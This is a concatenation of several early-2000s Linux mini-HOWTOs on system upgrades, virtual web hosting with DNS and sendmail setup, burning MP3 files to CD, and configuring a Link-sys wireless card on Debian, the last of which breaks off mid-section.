Look at /etc/inetd.conf or /etc/xinetd.conf and make sure you're not running any Internet services you don't need to. Also go through the boot scripts in /etc/rc.d and friends for the same purpose. Check your firewall rules if your box is an Internet gateway or has Internet access.

Prev | Home | Next
Restore the stuff from the backups you made earlier. |  | Enable logins.


Enable logins.

Upgrading Your linux Distribution mini-HOWTO
Prev Next

18. Enable logins.

You're up and running. Over the next little while, there'll probably be details to clean up; but the bulk of the work is done. Enjoy!

Prev | Home | Next
Review security. |  | Sorry, but once again: USE THIS INFORMATION AT YOUR OWN RISK!


Sorry, but once again: USE THIS INFORMATION AT YOUR OWN RISK!

Upgrading Your linux Distribution mini-HOWTO
Prev Next

19. Sorry, but once again: USE THIS INFORMATION AT YOUR OWN RISK!

(See the disclaimer at the start of this document.)

Prev | Home | Next
Enable logins. |  | Acknowledgements


Acknowledgements

Upgrading Your linux Distribution mini-HOWTO
Prev

20. Acknowledgements

Thanks for contributing to the content of this mini-HOWTO are gratefully tendered to Zoltán Hidvégi; and for motivating me to bring it a bit closer to modern practice, to Steve Sanfratello, author of the rpmupgrade-HOWTO.

Prev | Home
Sorry, but once again: USE THIS INFORMATION AT YOUR OWN RISK! |


Virtual Web mini-HOWTO

Dan Pancamo

Parag Mehta

pm@gnuos.org

David Merrill - Conversion from text to DocBook SGML.

Revision History
Revision 1.1 | 2001-06-03
New maintainer, converted to DocBook (SGML), Licensed under GFDL.
Revision 1.0 | 1995-11-24
Initial Release.

This HOWTO discuss the essentials of setting up a Virtual Web Site under Linux.

Table of Contents
1. License
2. What is a Virtual Web Site?
3. What Software and Software Patches Do I Need?
3.1. Linux Kernel
3.2. HTTP Servers
4. How Do I set it up?
4.1. Create the New Account
4.2. NCSA 1.5 or Apache Config Files
4.3. Configuring the interface
4.4. Registering with Internic
4.5. Configuring Named
4.5.1. Example /etc/named.boot
4.5.2. Example /etc/named.data/db.domain1.com
4.5.3. Example /etc/named.data/db.xxx.xxx.xxx
4.5.4. Restart named
4.6. Virtual Mail
4.6.1. Sendmail Configuration
4.7. Virtual FTP
5. Links to More Virtual Web Information
Next
License


License

Virtual Web mini-HOWTO
Prev Next

1. License

This document is made available under the GNU Free Documentation License.

Prev | Home | Next
Virtual Web mini-HOWTO |  | What is a Virtual Web Site?


Links to More Virtual Web Information

Virtual Web mini-HOWTO
Prev

5. Links to More Virtual Web Information

http://hoohoo.ncsa.uiuc.edu/docs/Overview.html

http://www.apache.org/

http://www.qosina.com/apache/virtual.html

http://spinner.infovav.se/

ftp://ftp.mindspring.com/users/rsanders/ipalias/

http://www.thesphere.com/~dlp/TwoServers/

http://hoohoo.ncsa.uiuc.edu/docs/setup/httpd/VirtualHost.html

ftp://ftp.dhp.com:/pub/linux/virtual-hosting

Prev | Home
How Do I set it up? |


What Software and Software Patches Do I Need?

Virtual Web mini-HOWTO
Prev Next

3. What Software and Software Patches Do I Need?

3.1. Linux Kernel

Linux versions 1.2.X requires the IPalias patch alias-patch-1.2.1-v1 and alias-net-tools.tar. I'm not sure if 1.3.X supports this patch yet. For more information on the IPalias patch see ftp://ftp.mindspring.com/users/rsanders/ipalias/

Using multiple dummy interfaces has been suggested in place of the IPalias solution. While the dummy solution may work, it does not appear to be as clean as the IPalias solution. For more information on using Apache and the dummy solution see Aram Mirzadeh's virtual hosting information at http://www.qosina.com/apache/virtual.html

All that is required to add a new alias using the IPalias method is: > /sbin/ifconfig eth0 alias www.domainX.com

Also, the IPalias solution is supported on several other platforms.

3.2. HTTP Servers

NCSA 1.5, Apache, and Spinner support Virtual hosting. http://hoohoo.ncsa.uiuc.edu/docs/Overview.html http://www.apache.org/ http://spinner.infovav.se/

Prev | Home | Next
What is a Virtual Web Site? |  | How Do I set it up?


How Do I set it up?

Virtual Web mini-HOWTO
Prev Next

4. How Do I set it up?

4.1. Create the New Account

Create a regular Linux account for the virtual customer with home directory and mail.

4.2. NCSA 1.5 or Apache Config Files

Virtual Host implementations are still changing. A few patches exist to support Virtual Host Check the server's release notes for more details. NCSA 1.5 or Apache now include the Virtual patches, and I have been told that Spinner supports virtual hosts.

One virtual patch supports the following srm.conf syntax, however the second NCSA 1.5 method of defining a Virtual host allows for greater flexibility

SubDocumentRoot www.domain1.com /usr/local/etc/httpd/docs/domain1
SubDocumentRoot www.domain2.com /usr/local/etc/httpd/docs/domain2

NCSA and Apache support the following httpd.conf syntax:

ServerAdmin webmaster@domain1.com
DocumentRoot /usr/local/etc/httpda/docs/domain1
ServerName www.domain1.com
ErrorLog logs/errors.domain1.com
TransferLog logs/access_log.domain1.com

4.3. Configuring the interface

Once the IPalias patches have been installed add the following to your /etc/rc.d/rc.local on your local web server.

/sbin/ifconfig eth0 alias www.domain1.com
/sbin/ifconfig eth0 alias www.domain2.com
/sbin/ifconfig eth0 alias www.domainN.com

4.4. Registering with Internic

If you are setting up a new domain or change a current domain, you must register the domain with Internic. The template can be found at ftp://rs.internic.net/templates/domain-template.txt

4.5. Configuring Named

Named will need to be configured so that your virtual domain will be visible to the outside world. I don't claim to be an expert on DNS. Suggestions always welcome.

4.5.1. Example /etc/named.boot

directory /etc/named.data
primary           realdomain.com                  db.realdomain.com
primary           xxx.xxx.xxx.IN-ADDR.ARPA        db.xxx.xxx.xxx
primary           0.0.127.IN-ADDR.ARPA            db.local

primary           domain1.com                     db.domain1.com
primary           domain2.com                     db.domain2.com
cache             .                               named.root

Note

Replace x with your IP.

4.5.2. Example /etc/named.data/db.domain1.com

$ORIGIN com.
  domain1    IN      SOA     domain1.com. hostmaster.domain1.com. (
             10134 43200 3600 604800 86400 )
             IN      NS      ns1.realdomain.com.
             IN      MX      10 mail.realdomain.com.
             IN      MX      0 domain1.com.
domain1.com. IN      A       xxx.xxx.xxx.xxx    ;www.domain1.com IP

  $ORIGIN domain1.com.
  ftp        IN      CNAME   domain1.com.
  www        IN      CNAME   domain1.com.
  mail       IN      CNAME   domain1.com.

4.5.3. Example /etc/named.data/db.xxx.xxx.xxx

You should already have a db.xxx.xxx.xxx for your current site update it to contain the new virtual domains for reverse lookups

xx              IN      PTR     www.domain1.com.
xx              IN      PTR     www.domain2.com.

4.5.4. Restart named

Once you've finished editing config files, you will need to restart the named daemon.

4.6. Virtual Mail

Your virtual customers will more than likely want the ability to have mail that is sent to their domain forwarded to another domain. A few sendmail.cf changes will do the trick. After several months of trying different sendmail changes, this is the 1st method that I found that works and requires only one sendmail.cf change for each new virtual site.

4.6.1. Sendmail Configuration

  1. Retrieve the current version of sendmail that contains makemap btree support.

  2. Create a file called /etc/domainalias with the following mappings:

    *@domain1.com           localnet@realdomain.com
*@domain2.com           townplaz@realdomain.com
*@domainN.com           soracomp@realdomain.net

webmaster@domain1.com   somuser@anotherhost.com
jamison@domain2.com     anotheruser@somehost.com

  3. Create the maped DB file

    makemap btree /etc/domainalias.db  < /etc/domainalias

  4. /etc/sendmail.cf changes:

    1. Add a Cw record for each new virtual host

      Cwdomain1.com
Cwdomain2.com

    2. Add the domainalias mapping only once.

      Kdomainalias btree /etc/domainalias.db

    3. Add/Change Ruleset 98

      ###################################################################
###  Ruleset 98 -- local part of ruleset zero (can be null)     ###
###################################################################

S98

R$+ < $+ . >          $1 < $2 >                         remove trailing dots
R$+ < $+ >            $: < > $(domainalias $1$2 $)      match user@address
R< > $+ @ $*          $: < $1 > $(domainalias * @ $2 $) match *@address
R< $+ > * $*          $: < > $1 $2                      replace * with userid
R < $+ > $+           $: < > $2                         bugfix
R< > $*               $: $>3 $1                         and rewrite using S3

  5. Sendmail Testing

    Test the sendmail configuration to verify the new sendmail.cf changes

    sendmail -v -bv info@domain1.com

    The final destination should be displayed.

4.7. Virtual FTP

Currently, I have not been able to get Virtual FTP to work. A few patches exist, and I'm sure a working patch exist. We just create a working directory /home/ftp/business/domain1, but a true Virtual FTP would be nice.

If anyone would like to contribute a solution, I would be more than happy to add it here.

Arnt Gulbrandsen has rewritten ftpd and has included support for independent FTP services The Troll Tech FTP Daemon

Prev | Home | Next
What Software and Software Patches Do I Need? |  | Links to More Virtual Web Information


What is a Virtual Web Site?

Virtual Web mini-HOWTO
Prev Next

2. What is a Virtual Web Site?

A World Wide Web (WWW) Server is normally a single machine dedicated to processing HTTP requests for a single WWW site. Simply put, one WWW site per machine. Since the computing resources for processing httpd requests is low for most WWW sites, the majority of the computing resources are left unused. A virtual WWW site simple allows more than one WWW site to share a single processor. Instead of having www.domain1.com and www.domain2.com requiring two physical computing devices, www.domain1.com and www.domain2.com can be located on a single computing device and share common resources.

Normally small computing facilities, and small businesses do not have the resources to maintain a dedicated web server and a dedicated Internet connection. These cost can easily start off at $10K for setup, and $500-2500 monthly to maintain. Small computing facilities, and small businesses are now able to "rent" WWW space from a Virtual WWW providers. The customer can then maintain the WWW "pages" using a local telnet and/or FTP connection.

WWW providers such as InfoCom Networks http://www.infocom.net/ provide WWW space as low as $75 per month. A few Virtual Sites might clear up the mystery. So the cost of setting up a WWW site is significantly lower than that of setting up a dedicated server and connection. The Virtual Site has a major advantage over other WWW addressing schemes such as "www.yourprovider.com/~businessname". The Virtual WWW server inherently contains the ability to move to a new location or setup a dedicated WWW server without changing addresses. Changing WWW URL's can result in a major loss of traffic to your site, and lots of business literature updates.

With most web sites, www.domain1.com and www.domain2.com both resolve to separate IP's. In order to accept multiple request from a single host, the virtual host must be able to answer request for both sites. The method used to solve this problem is called IP aliasing. IP aliasing allows a single host to accept request for multiple IP's. The virtual Web server must have the ability to alias IP's

IP aliasing is just one part of the virtual solution. The Domain Name System (DNS) also must be configured to resolve both www.domain1.com and www.domain2.com. If domain1.com and domain2.com are new domains, then both must be registered with Internic. Currently, Internic is charging $50 a year to maintain your domain.

Most virtual WWW sites should also provide virtual mail, or the ability to forward all mail to the virtual domain to another user or users.

Virtual FTP or the ability to FTP using the standard host name "ftp.domain1.com" should also be configured by the WWW provider.

Prev | Home | Next
License |  | What Software and Software Patches Do I Need?


Linux MP3 CD Burning mini-HOWTO

Greg Wierzchowski

greg@draxen.org

2001-05-29

Revision History
Revision 2.0 | 2002-04-26 | Revised by: GW
Divided into two sections: existing material to section "audio", new section "data" on data CDs. Misc. additions.
Revision 1.5 | 2001-11-19 | Revised by: GW
Fixed omission in Disc-At-Once burning section.
Revision 1.4 | 2001-11-17 | Revised by: GW
Added Disc-At-Once burning section.
Revision 1.3 | 2001-09-02 | Revised by: GW
Added another example of decoding MP3 files with lame.
Revision 1.2 | 2001-07-12 | Revised by: GW
Minor layout changes; Added Translations subsection into Credits.
Revision 1.1 | 2001-06-12 | Revised by: GW
Minor cleanup; Regexp fix for MP3 to WAV name conversion example.
Revision 1.0 | 2001-05-29 | Revised by: GW
Initial Release.

A complete recipe for creating audio and data CDs from MP3 files.

Table of Contents
1. Introduction
1.1. Copyright and License
2. Audio CDs
2.1. Preparing the Tracks
2.2. Burning Your CD
2.3. Burning a DAO CD
2.4. Software
3. Data CDs
4. Credits
4.1. Translations
4.2. Other Credits

1. Introduction

This mini-HOWTO was created because of my experience with burning music CDs and lack of some specific information about sound normalization on the Internet. I usually burn music CDs as a mix - different songs from different sources.Very often volume level between songs varies greatly. This is the first obstacle. Second, many of the files on the Internet are not CD-compatible (16 bit, stereo, 44.1 kHz) and have to be converted. There are many programs to burn music CDs from MP3 files, and many of them do the conversion transparently. But I haven't seen a single tool that also normalizes the volume, so that's why I worked out my own CD-burning recipe.

This HOWTO is just about one thing - putting MP3 music on a CD, so that you can listen to it. For in-depth information about MP3 files, please look at The Linux MP3 HOWTO by Phil Kerr, located at http://www.tldp.org/HOWTO/MP3-HOWTO.html. For information about CD creation in general as well as CD burners, refer to CD-Writing-HOWTO by Winfried Trümper, available at http://www.tldp.org/HOWTO/CD-Writing-HOWTO.html.

I'm assuming you wish to burn a CD with the collection of songs you obtained from different sources, all varying quality, but you want to get the best-sounding CD possible. This mini-HOWTO outlines the steps that may help you.

1.1. Copyright and License

This document is copyright 2001 by Greg Wierzchowski and is released under the terms of the GNU Free Documentation License, which is hereby incorporated by reference. Send feedback to greg.wierzchowski@usa.net.

2. Audio CDs

2.1. Preparing the Tracks

Note | Note
 | All commands assume bash shell

  1. Collect all MP3 files in one directory.

  2. If your MP3 files came from DOS/Windows, they may have uppercase extensions. You can convert whole names to lowercase or just extensions. For everything lowercase do:

         for i in *.[Mm][Pp]3; do mv "$i" `echo $i | tr '[A-Z]' '[a-z]'`; done

    to convert just extensions:

         for i in *.MP3; do mv "$i" "`basename "$i" .MP3`.mp3"; done

  3. If any filenames contain spaces, first convert them to underscores:

         for i in *.mp3; do mv "$i" `echo $i | tr ' ' '_'`; done

  4. Convert them to WAV with the command:

         for i in *.mp3; do mpg123 -w `basename $i .mp3`.wav $i; done

    When decoding 22khz MP3 files the output of mpg123 may be distorted. To fix this, use:

         for i in *.mp3; do mpg123 --rate 44100 --stereo --buffer 3072 --resync -w `basename $i .mp3`.wav $i; done

    Mpg123 should be present in any Linux distribution, but if you don't have it, get it at http://www.mpg123.de/.

    NOTE I noticed that with some MP3 files mpg123 output was distorted. At first I thought that MP3's were bad, but then I checked with another player and they sounded OK. So I searched for another MP3 player that could write WAV files to disk, and found this one: MAD mp3 decoder at http://www.mars.org/home/rob/proj/mpeg/. With madplayer, the command line is:

         for i in *.mp3; do madplay -o `basename $i .mp3`.wav $i; done

    There is yet another way to do the conversion. Some MP3 files apparently give both mpg123 and madplay trouble with decoding. The lame encoder, which has a decoding mode, seems to handle difficult cases very well (lame can be found at http://www.mp3dev.org/mp3/) :

         for i in *.mp3; do lame --decode $i `basename $i .mp3`.wav; done

    NOTE: The `basename $i .mp3`.wav command replaces MP3 extensions with WAV. There are 101 ways to do that, here's the alternative: `echo "$1" | sed 's/\.mp3$/.wav/'`

  5. Run "file *.wav" and check the output for any files different from 16 bit, stereo 44100 Hz.

  6. If there are files with different characteristics, convert them to the above specs. For example, to convert file track01.wav to obtain sample rate 44.1 kHz, you could use:

         sox track01.wav -r 44100 track01-new.wav resample

    or, if the above introduces static when converting mono files:

         sox track01.wav -r 44100 -c 2 track01-new.wav

    Sox is so popular, that it's probably installed by default with any Linux distribution, and can be obtained from http://www.spies.com/Sox/. However, the command-line options are somewhat cryptic for the casual user (me). Look at http://www.spies.com/Sox/sox.tips.html for some tips on usage.

  7. Normalize your WAV files, to avoid drastic differences in volume levels. I use a program by Chris Vaill (<cvaill@cs.columbia.edu>), called normalize - it can be obtained from http://www.cs.columbia.edu/~cvaill/normalize/

    I use the following syntax (-m is for mix mode, where all files should be as loud as possible):

         normalize -m *.wav

2.2. Burning Your CD

There are many programs to create CDs from WAV files. I use cdrecord for command-line burning and XCDROAST for gui. For cdrecord, you have to know what SCSI device your CD-writer is. If you're using ATAPI writer, use SCSI emulation (kernel module ide-scsi). Let's assume, that your ATAPI cdwriter is on the second IDE bus as a master. Thus, it will have /dev/hdc device file. To instruct the kernel that you want to treat it as a SCSI device, add the following line to /etc/lilo.conf:

     append=" hdc=ide-scsi"

Also, if your kernel doesn't automatically load ide-scsi module, add insmod ide-scsi into your rc.local (or equivalent) file. Once you have our CD-writer recognized as a SCSI device, run cdrecord --scanbus to find out what's the "dev" parameter to cdrecord. On my system, the output looks like the following:

     scsibus1:
     1,0,0 100) 'IOMEGA ' 'ZIP 250 ' '51.G' Removable Disk
     1,1,0 101) 'HP ' 'CD-Writer+ 7100 ' '3.01' Removable CD-ROM

So, the cdrecord command line will contain dev=1,1,0 to specify the device. Here is the complete command on my system:

     cdrecord dev=1,1,0 -eject speed=2 -pad -audio *.wav

Note | NOTE
 | The -pad argument is neccessary, because all audio tracks on the CD must be adjusted for the proper data length, which is not always the case with mp3 files.

2.3. Burning a DAO CD

DAO, Disc-At-Once, is as of now the only method for burning a CD without a 2-second pause between the tracks. It's useful for burning party mixes. The program for burning CDs in DAO mode is cdrdao, available from SourceForge, http://sourceforge.net/projects/cdrdao/.

The cdrdao program uses description files called TOC (Table Of Contents, of course). There are two ways to create such file. First is to use a shell script, distributed with cdrdao source (in contrib directory, called generate_toc.sh. It takes a list of .wav files as an argument and produces a cd.toc file. Second way is to simply create such file yourself in a text editor of your choice. Here is a self-explanatory example:

CD_DA

TRACK AUDIO
AUDIOFILE "mix-01.wav" 0

TRACK AUDIO
AUDIOFILE "mix-02.wav" 0

TRACK AUDIO
AUDIOFILE "mix-03.wav" 0

TRACK AUDIO
AUDIOFILE "mix-04.wav" 0

TRACK AUDIO
AUDIOFILE "mix-05.wav" 0

The 0 (zero) after the wave filename means start from the beginning of the file. There can be a second number providing the length (time) of file to record. The xcdroast creates similar TOC files, there are also examples in testtocs directory of cdrdao source.

The cdrdao by default uses the device /dev/cdrecorder, which should be a link to the cdwriter device. Assuming your cd recorder device file is /dev/scd0, create the link (as root) as follows:

ln -s /dev/scd0 /dev/cdrecorder

Then, assuming that the TOC file is named cd.toc the command to burn the cd is simply:

cdrdao write cd.toc

2.4. Software

There are some programs available, that can automate the process of creating CDs from MP3 files. Here is arbitrarily selected list:

  • burnmp3 - Program to automate burning with DAO method. http://richardsnow.bizland.com/burnmp3/.

  • mp32dao - a script from cdrdao distribution, in the contrib directory. http://cdrdao.sourceforge.net/.

3. Data CDs

Note | Note
 | This section is a work in progress, you're looking at initial, very sparse version.

With increasing popularity of CD/MP3 players burning data CDs for listening purposes become practical. The advantage is definitely being able to squeeze ten times more music onto one CD (a very approximate figure). As far as MP3 data CD-s, they're just a regular, standard data CD's (ISO9660) with MP3 music as regular files. All MP3-CD players I know accept CD-s with directories in them, and I usually burn CD with Joliet extension and they work just fine. So to burn such a CD under linux, you first need to create an ISO image an then burn it on the CD as in the example below:

mkisofs -J -o /tmp/mymp3s.iso /home/greg/mp3s/
cdrecord dev=1,0,0 speed=16 /tmp/mymp3s.iso

That's it!

I have yet to research ability to normalize mp3 files directly - however I believe it always involves decompressing, normalization and then re-compressing the file, which introduces quality loss. Stay tuned!

4. Credits

Special thanks to all the people who contribute to the Linux community and who made this HOWTO possible.

4.1. Translations

  • Im Eunjea - Translated this document to Korean, URL is http://kltp.kldp.org/eunjea/mp3_burning/.

  • Mendel L Chan - Translated this document to Chinese, URL is http://www.linux.org.tw/CLDP/mini/MP3-CD-Burning/.

  • Chie Nakatani - Translated this document to Japanese, URL is http://www.linux.or.jp/JF/JFdocs/MP3-CD-Burning/index.html.

4.2. Other Credits

  • Greg Ferguson - Initially converted this document from HTML to SGML.

  • Rob Russell - Corrected my name conversion example.

  • Terry Davis - Suggested submitting my HOWTO to linuxdoc.

  • Chris Vaill - Created normalize program.

  • Jamie Kellogg - Submitted a solution to decode with lame for troublesome files.

  • Tom Panning - Submitted a tip for the conversion of mono files with sox.

  • Adam Buckley - Submitted an idea about files with uppercase extension.

  • Ilia Lobsanov - Submitted options for mpg123 decoding 22kHz files.


Link-sys WPC11 Mini-HOWTO

Gerardo Arnaez

garnaez_((AT))_yahoo.com

Revision History
Revision 1.1.1 | 2002-04-27 | Revised by: gea
some more grammer improvements, and highlighting to make things clearer
Revision 1.1 | 2002-04-13 | Revised by: gea
Correct grammar, made things a little more clearer, made software requirements more explicit.
Revision 1.0 | 2002-03-24 | Revised by: gea
Written because I spent enough figuring this out that I wanted to store "how I did it" somewhere I wouldn't lose it and figure you all might like it too.

This is a Cookbook on how to set up a Wireless Link-Sys WPC11 card using a Link-SYS Wireless Access Point/DSL/Switch on a Debian system .

Table of Contents
1. Link-sys WPC11 install on Debian
1.1. Why Debian and why just this card?
1.2. Required Hardware
1.3. Software Requirements
1.4. Kernel Configuration
2. Using make-kpkg to build kernels
3. Building PCMCIA-SOURCE
4. Using make-kpkg to build the new kernel and pcmcia-source modules
5. Wlan Drivers for You Link-Sys Card
6. Checking things in case they don't work
7. Wireless tools
8. Wireless Access Point
9. Request for comments
Next
Link-sys WPC11 install on Debian


Link-sys WPC11 install on Debian

Link-sys WPC11 Mini-HOWTO
Prev Next

1. Link-sys WPC11 install on Debian

1.1. Why Debian and why just this card?

I have been trying for months to get wireless working on Debian and after reading far and wide and getting help from irc.debian.org, I realized that there really is no Cookbook in getting wireless set up. Thus having just done it I want to commit to 'paper' so that you all can use it and I can refer to it knowing it is safe somewhere. :)

1.2. Required Hardware

By required I mean, here is what I used to get this to work, and may serve as guide to anyone who wants to know what really works.

BEFW11S4- EtherFast? Wireless AP + Cable/DSL Router w/4-Port Switch. I really really like this WAP (Wireless Access Point). It is OS independent (read, linux friendly) and is configured using a browser so no need to touch Microsoft software at all, even to configure it. And if you don't know what a switch is, let me tell ya, they rock. Essentially they allow the NIC to communicate in both directions at the same time. I highly recommend one.

Link-sys WPC11. I have a version 3.0 and don't recommend any thing less than a version 2.5 Cost about 80 dollars

1.3. Software Requirements

Debian Distribution. I find the 'testing' distribution to work well

go to Absolute Systems and download the 11Mbps linux-wlan(tm) Project

you need the pcmcia-cs. Get this by
apt-get install pcmcia-cs

This is different from pcmcia-source which I also asked you apt-get. Thus also do
apt-get install pcmcia-source

You need the wireless tools so
apt-get install wireless-tools

You will also need some way to setup you IP address on your wireless card, I recommend either
apt-get install DHCP-client
to install the DHCP-client that will automatically configure your IP address, if you have a DHCP server. The WAP-11 hardware does provide DHCP server capabilities

Or at least have the pump application, which also will query a DHCP server and get you an IP address from the DHCP server. Note I tend to use pump when I am trying out new hardware to see if there is a connection, since to test a particular device, say eth0 I would type
pump -i eth0
where the option -i tells pump what device to try to get an IP address. In this particular case, when I could not get Debian to automatically set up my wireless card, which was device wlan0, I would type
pump -i wlan0
and pump would try to set up the device. Anyway, the point is, that it is a good trouble shooting command, and you should know about it, and I talk more about it later.

I also recommend you use the "kernel-package" package when you want to build your new kernel, which I will get to. This tool is very good and you should be using it anyway when you are building new kernel for the Debian distribution. You can install it by typing
apt-get install kernel-package
Also, be sure to read the documentation it comes with, in case I don't do a good job explaining how to use it, later in this document

1.4. Kernel Configuration

1.4.1. What TO enable

In order to use the wireless tools, like iwconfig, which will allow you tell how good your connection is, you need to enable support for Wireless LAN (Non-Ham Rasio).

In these examples, I use
make menuconfig
to configure my kernel.

You can do this by:

Go to:

Network Device support -->

then Select:

Wireless LAN (non-hamradio) --->

Then Choose the options, so that it looks like below, or something as close to this. Note I am uing 'make menuconfig' to configure my kernel

[*] Wireless LAN (non-hamradio)

< > STRIP (Metricom starmode radio IP)

< > ATT WaveLAN & DEC RoamAbout DS support

< > Aironet Arlan 655 & IC2200 DS support

< > Aironet 4500/4800 series adapters

< > Cisco/Aironet 34X/35X/4500/4800 ISA and PCI cards

<*> Hermes chipset 802.11b support (Orinoco/Prism2/Symbol)

< > Hermes in PLX9052 based PCI adaptor support (Netgear MA301 et

1.4.2. What NOT to Enable

One of the main stumbling blocks was to realize that the pcmcia support in the kernel is not as good as the pcmcia-source support that one gets when you build it from pcmcia-source.

I use either
make xconfig
or
make menuconfig
to configure my kernel, so when you configure your kernel, be sure to not have pcmcia support enabled under
General setup

Nor do you want to select any particular pcmcia card under
Network device support
. I repeat you do not want this under the kernel and you will be building it when you download pcmcia-source.

Caution

Be sure to download all the necessary components before you take pcmcia support out of the kernel, otherwise, if you were using a pcmcia card for net access, you will not be able to connect to the Internet using the new kernel, until you have built both pcmcia support and module drivers for the wireless card

Prev | Home | Next
Link-sys WPC11 Mini-HOWTO |  | Using make-kpkg to build kernels


Using make-kpkg to build kernels

Link-sys WPC11 Mini-HOWTO
Prev Next

2. Using make-kpkg to build kernels

Caution

Note: make-kpkg was installed when you installed kernel-package

Once you have configured your kernel just save and exit, and don't use make-kpkg yet! I will show you a good way to make sure sure everything builds well.

Follow the instruction in the make-kpkg documentation but essentially:

You need to be in the
/usr/src/linux
directory, then

make-kpkg clean

to clean all the binaries out and prepare to build a new kernel, then:

make-kpkg --revision-custom.1.0 kernel_image

Caution

Don't Do this Yet!

We need to get the pcmcia-source ready to be built at the same time as the kernel is built. This is a very neat feature of make-kpkg!

Prev | Home | Next
Link-sys WPC11 install on Debian |  | Building PCMCIA-SOURCE


Building PCMCIA-SOURCE

Link-sys WPC11 Mini-HOWTO
Prev Next

3. Building PCMCIA-SOURCE

First, be sure to download pcmcia-source, by typing
apt-get install pcmcia-source
This will download the source into
/usr/src
as
pcmcia-source.tar.gz

You now need to gunzip the file by
gunzip pcmcia-source.tar.gz
and then untar the file by
tar xvf pcmcia-source.tar

You should see pcmcia-source unpacked into the directory
/usr/src/modules/pcmcia-cs

Prev | Home | Next
Using make-kpkg to build kernels |  | Using make-kpkg to build the new kernel and pcmcia-source modules


Using make-kpkg to build the new kernel and pcmcia-source modules

Link-sys WPC11 Mini-HOWTO
Prev Next

4. Using make-kpkg to build the new kernel and pcmcia-source modules

Be sure the pcmcia-source is under /usr/src/modules.

Go ahead and configure your kernel and be sure that pcmcia support IS NOT compiled in as an option in the kernel.

To build the kernel and pcmcia-source, be sure you are under the
/usr/src/linux
or have a symbolic link from /usr/src/linux to whatever kernel source you have set up. Then type
make-kpkg --revision=custom.1.0 kernel_image modules_image

The kernel_image option will build the kernel while the modules_image option will build all modules located under
/usr/src/modules/
. So be sure that you do indeed want to rebuild any other modules that are located in source when you are ready to build your new kernel.

After some chugging, go up one level to
/usr/src
and you should see two new Debian packages that should look something like this:

kernel-image-2.4.19-pre4_custom.1.0_i386.deb

pcmcia-modules-2.4.19-pre4_3.1.31-7+custom.1.0_i386.deb

You first want to install the kernel image so you would type
dpkg -i kernel-image-etc....

Now install the modules by typing
dpkg -i pcmcia-modules.etc...

Caution

There are a couple of assumptions that make-kpkg makes about your lilo.conf file. One is that you have not radically changed it. Make-kpgk will make make symbolics links from '/boot' where the actual kernel resides to 'vmlinuz' which is under '/'. In other words, under '/', you will see vmlinuz and vmlinuz.old which are symbolic links to the real kernel images under /boot/. Anyway if you have any questions ask me.

Prev | Home | Next
Building PCMCIA-SOURCE |  | Wlan Drivers for You Link-Sys Card


Wlan Drivers for You Link-Sys Card

Link-sys WPC11 Mini-HOWTO
Prev Next

5. Wlan Drivers for You Link-Sys Card

You have downloaded the 11 Wlan project. Go a head and read the instruction, and put it under modules. Follow the instructions when you
make config
The one key is to make sure you specify the pcmcia-source as under
/usr/src/modules/pcmcia-cs
and not choose the default it gives you.

Go ahead and
make all
and
make install

I suggest you read the documentation that comes with it, but essentially, if you have a WAP that is connected to your DSL or cable modem then you have a infrastructure set up. I found that it was best to edit the
networks.opt
under the
/etc/pcmcia
directory.

To make things easier edit the option

# Use DHCP (via /sbin/dhcpcd, /sbin/dhclient, or /sbin/pump)? [y/n]

DHCP="y"

to what I have, i.e., set it to yes.

The documentation talks about setting ESSID but when you edit the
wlan-ng.opts
you will only see

#=======INFRASTRUCTURE STATION START===================

# SSID is all we have for now

AuthType="opensystem" # opensystem | sharedkey (requires WEP)

DesiredSSID="howardnet"

From what I can gather,DesiredSSID means ESSID and it works when the WAP and link-sys pcmcia card share the same name.

At this point, you should reboot and should have a working link-sys card that gets its address via DHCP.

Prev | Home | Next
Using make-kpkg to build the new kernel and pcmcia-source modules |  | Checking things in case they don't work


Checking things in case they don't work

Link-sys WPC11 Mini-HOWTO
Prev Next

6. Checking things in case they don't work

1. Be sure to type
ifconfig

You should something like this

lo Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:0 errors:0 dropped:0 overruns:0 frame:0

TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:0

RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

wlan0 Link encap:Ethernet HWaddr 00:06:25:A8:AE:64

inet addr:192.168.1.104 Bcast:192.168.1.255 Mask:255.255.255.0

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:35197 errors:0 dropped:0 overruns:0 frame:0

TX packets:57676 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:100

RX bytes:43386657 (41.3 MiB) TX bytes:2670811 (2.5 MiB)

Interrupt:3 Base address:0x100

The keys point here are that inet addr:has a real IP address, and that Bcast and Netmask are set up such that they are on the same "wave-length" as your Wireless Access Point.

2. If you don't, you might have had the same problem i did which was that there was no easy script to initiate the wlan0 device setup. That is to say, if the card was recognized but you still did not get a connection and say that ifconfig showed wlan0 present but with no IP address. In other words, you might see something like this:

text:/home/dude# ifconfig

lo Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:14 errors:0 dropped:0 overruns:0 frame:0

TX packets:14 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:0

RX bytes:700 (700.0 b) TX bytes:700 (700.0 b)

wlan0 Link encap:Ethernet HWaddr 00:06:25:A8:AE:64

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:1 errors:0 dropped:0 overruns:0 frame:0

TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:100

RX bytes:46 (46.0 b) TX bytes:0 (0.0 b)

Interrupt:3 Base address:0x100

As you can see, the interface device, the Wireless pcmcia card, is noted, but there is no inet addr. The pcmcia software recognized the card, but it has not successfully connected with the Wireless Access Point.

I used the command,pump to send a simple DHCP request to the DHCP server for the device in question. I used
pump -i wlan0
which essentially runs a simple DHCP request to set up that card, wlan0, in this case.

You can get the pump by
apt-get install pump

While I needed to use
pump -i wlan0
on my laptop, I did not need this when I set up the link-sys wireless WPC11 card on my girlfriend's laptop. She has a Link-Sys WPC11 version 2.5 pcmcia card.

Prev | Home | Next
Wlan Drivers for You Link-Sys Card |  | Wireless tools


Wireless tools

Link-sys WPC11 Mini-HOWTO
Prev Next

7. Wireless tools

While it is not necessary to include this in your kernel configuration, you can enable Wireless tool extensions by going (i assume you use xconfig or menuconfig) to
Network device support
and then go to
Wireless LAN (non-hamradio)
and enable support for the
